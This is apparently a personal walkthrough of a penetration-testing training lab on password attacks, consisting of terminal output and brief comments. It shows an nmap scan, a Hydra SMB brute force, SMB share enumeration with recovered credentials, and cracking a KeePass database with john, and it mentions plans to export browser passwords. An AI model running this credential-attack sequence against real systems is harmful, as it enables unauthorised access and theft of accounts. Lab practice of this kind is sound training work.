┌──(root㉿kali)-[~/cpts/password-attacks]
└─# nmap 10.129.202.222
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 19:01 EDT
Nmap scan report for 10.129.202.222
Host is up (0.047s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
3389/tcp open ms-wbt-server
[ATTEMPT] target 10.129.213.230 - login "johanna" - pass "1231235!" - 11088 of 187769 [child 10] (0/0)
[WARNING] 10.129.213.230 might accept any credential
[445][smb2] host: 10.129.213.230 login: johanna password: 1231234!
[STATUS] attack finished for 10.129.213.230 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 19:13:56
┌──(root㉿kali)-[~/cpts/password-attacks/hard-assessment/thc-hydra]
└─# smbclient -L 10.129.213.230 -U johanna%1231234!
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
david Disk
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.213.230 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(root㉿kali)-[~/cpts/password-attacks/hard-assessment/thc-hydra]
└─# smbclient \\\\10.129.213.230\\david -U johanna%1231234!
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
gonna go ahead and start a bruteforce against david while i see if johanna has access anywhere else
we have rdp access with johanna, and gchrome/firefox is on the desktop - so this immediately sends a red flag to me that we should probably try to export browser credentials
we also have a .kdbx file:

┌──(root㉿kali)-[~/cpts/password-attacks/hard-assessment]
└─# john --wordlist=../password_mut_ascii.list keepass.john
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Qwerty7! (pass-dec)
david pw: gRzX7YbeTcDG7
┌──(root㉿kali)-[~/cpts/password-attacks/hard-assessment/thc-hydra]
└─# smbclient \\\\10.129.213.230\\david -U david%gRzX7YbeTcDG7
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Feb 11 05:43:03 2022
.. D 0 Fri Feb 11 05:43:03 2022
Backup.vhd A 136315392 Fri Feb 11 07:16:12 2022
10328063 blocks of size 4096. 6116779 blocks available
hmm i feel like i probably shouldnt be downloading this entire backup. im going to try anyway